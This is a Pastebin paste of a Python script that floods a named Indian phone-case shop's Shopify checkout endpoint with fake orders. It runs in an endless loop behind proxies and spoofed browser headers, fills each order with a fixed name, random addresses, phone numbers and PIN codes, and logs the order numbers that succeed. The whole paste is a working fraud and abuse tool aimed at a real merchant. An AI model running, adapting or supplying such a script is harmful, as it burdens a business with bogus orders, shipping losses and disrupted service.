Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- import random_address
- import json
- import random
- import getindianname as name
- proxies = {
- #proxy here
- }
- while True:
- add = random_address.real_random_address_by_state('CA')
- add = add['address1']
- # print(add)
- fname = name.randname()
- print(fname)
- def generate_random_number(size):
- start = 10 ** size
- end = 10 ** (size + 1) - 1
- return random.randint(start, end)
- random_numbers = generate_random_number(9)
- # print(random_numbers)
- random_numbers2 = generate_random_number(29)
- random_numbers3 = generate_random_number(5)
- # print(random_numbers2)
- states = [
- "Andhra Pradesh", "Arunachal Pradesh", "Assam", "Bihar", "Chhattisgarh",
- "Goa", "Gujarat", "Haryana", "Himachal Pradesh", "Jharkhand",
- "Karnataka", "Kerala", "Madhya Pradesh", "Maharashtra", "Manipur",
- "Meghalaya", "Mizoram", "Nagaland", "Odisha", "Punjab", "Rajasthan",
- "Sikkim", "Tamil Nadu", "Telangana", "Tripura", "Uttar Pradesh",
- "Uttarakhand", "West Bengal"
- ]
- selected_state = random.choice(states)
- headers = {
- 'accept': 'application/json, text/plain, */*',
- 'accept-language': 'en-US,en;q=0.9',
- 'content-type': 'text/plain',
- 'origin': 'https://covercase.in',
- 'priority': 'u=1, i',
- 'referer': 'https://covercase.in/',
- 'sec-ch-ua': '"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"',
- 'sec-ch-ua-mobile': '?0',
- 'sec-ch-ua-platform': '"Windows"',
- 'sec-fetch-dest': 'empty',
- 'sec-fetch-mode': 'cors',
- 'sec-fetch-site': 'cross-site',
- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',
- }
- data = f'''
- {{
- "hash": "{random_numbers2}",
- "shop": "4e5e46-3.myshopify.com",
- "currency": {{
- "active": "INR",
- "rate": "1.0"
- }},
- "data": {{
- "first_name": {{
- "title": "First Name",
- "value": "Aakash"
- }},
- "last_name": {{
- "title": "Last Name",
- "value": "Shah"
- }},
- "phone": {{
- "title": "Phone",
- "value": "{random_numbers}"
- }},
- "address": {{
- "title": "Address",
- "value": "{add}"
- }},
- "address2": {{
- "title": "Landmark",
- "value": "X"
- }},
- "zip": {{
- "title": "PIN code",
- "value": "{random_numbers3}"
- }},
- "city": {{
- "title": "City",
- "value": "X"
- }},
- "province": {{
- "title": "State",
- "value": "{selected_state}"
- }},
- "buyer_accepts_marketing": {{
- "title": null,
- "value": []
- }},
- "country": {{
- "value": "IN"
- }}
- }},
- "cart": [
- {{
- "handle": "metal-frame-ultra-thin-clear-i-phone-case-cover",
- "product_type": "",
- "product_id": 7502604468364,
- "title": "Metal Frame Ultra-thin Clear I-Phone Case/Cover ( Buy 1 Get 1 Free )",
- "vendor": "Covercase.in",
- "url": "/products/metal-frame-ultra-thin-clear-i-phone-case-cover?variant=42116230545548",
- "image": "https://cdn.shopify.com/s/files/1/0637/3480/8716/files/8f5bc098-9a56-4b03-9f9b-8b9512b88457_jpg.webp?v=1707072851",
- "quantity": 1,
- "variant_id": 42116230545548,
- "variant_title": "I-Phone 11",
- "price": 699,
- "original_price": 699,
- "line_price": 699,
- "original_line_price": 699,
- "weight": 0,
- "properties": {{}}
- }}
- ],
- "shipping": null,
- "locale": "en",
- "version": "94",
- "source_url": "https://covercase.in/products/metal-frame-ultra-thin-clear-i-phone-case-cover",
- "offer": null,
- "downsell": {{
- "discount_amount": 0
- }},
- "recovered": false,
- "is_draft_order": false,
- "verified": false,
- "utms": {{}},
- "pixelCookies": {{
- "fbp": "",
- "fbc": ""
- }}
- }}
- '''
- response = requests.post('https://load.tyslo.com/order/new', headers=headers, data=data,proxies=proxies)
- # print(response.text)
- y = json.loads(response.text)
- if y['success']:
- print("SUCCESS:")
- ono = y['data']['order']['order_number']
- print('Order Number : ',ono,end=' ')
- st = y['data']['order']['billing_address']['province']
- print('State : ',st,end=' ')
- with open("order.txt", "a") as file:
- file.write("\n")
- file.write(f'Order Number : {ono} ')
- file.write(f'State : {st} ')
Advertisement
Add Comment
Please, Sign In to add comment